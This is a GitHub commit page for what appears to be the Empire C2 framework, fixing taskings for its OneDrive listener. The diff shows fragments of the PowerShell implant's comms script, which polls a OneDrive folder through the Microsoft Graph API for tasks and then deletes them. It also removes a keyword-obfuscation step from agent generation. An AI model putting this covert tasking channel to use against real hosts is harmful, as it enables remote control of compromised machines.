Skip to content

Commit

Permalink
Fixed taskings for OneDrive listener (#691)
Browse files Browse the repository at this point in the history
Co-authored-by: Vincent Rose <[email protected]>
  • Loading branch information
Cx01N and vinnybod authored Sep 16, 2023
1 parent 4050a35 commit 31ee108
Show file tree
Hide file tree
Showing 3 changed files with 1 addition and 4 deletions.
1 change: 1 addition & 0 deletions CHANGELOG.md
Original file line number Diff line number Diff line change
Expand Up @@ -13,6 +13,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
- Report test coverage on pull requests (@Vinnybod)
- Fixed issue with multiple parameters not executing in IronPython for C# tasks (@Cx01N)
- Fix for spawnas not generating bat file (@wizquaza)
- Fixed taskings for OneDrive listener (@Hubbl3)

## [5.6.4] - 2023-09-08

Expand Down
2 changes: 0 additions & 2 deletions empire/server/data/agent/stagers/onedrive/comms.ps1
Original file line number Diff line number Diff line change
Expand Up @@ -67,7 +67,6 @@ $Script:GetTask = {
$wc = (& $GetWebClient);

$TaskingsFolder = "{{ base_folder }}/{{ taskings_folder }}";

#If we haven't sent a message recently...
if ($Script:lastseen.addseconds($Script:AgentDelay * 2) -lt (get-date))
{
Expand All @@ -76,7 +75,6 @@ $Script:GetTask = {
$Script:MissedCheckins = 0;

$data = $wc.DownloadData("https://graph.microsoft.com/v1.0/drive/root:/$TaskingsFolder/$($Script:SessionID).txt:/content");

if ($data -and ($data.length -ne 0)) {
$wc = (& $GetWebClient);
$null = $wc.UploadString("https://graph.microsoft.com/v1.0/drive/root:/$TaskingsFolder/$($Script:SessionID).txt", "DELETE", "");
Expand Down
2 changes: 0 additions & 2 deletions empire/server/listeners/onedrive.py
Original file line number Diff line number Diff line change
Expand Up @@ -456,8 +456,6 @@ def generate_agent(
agent_code = f.read()
f.close()

agent_code = self.mainMenu.obfuscationv2.obfuscate_keywords(agent_code)

agent_code = helpers.strip_powershell_comments(agent_code)

agent_code = agent_code.replace(
Expand Down

0 comments on commit 31ee108

Please sign in to comment.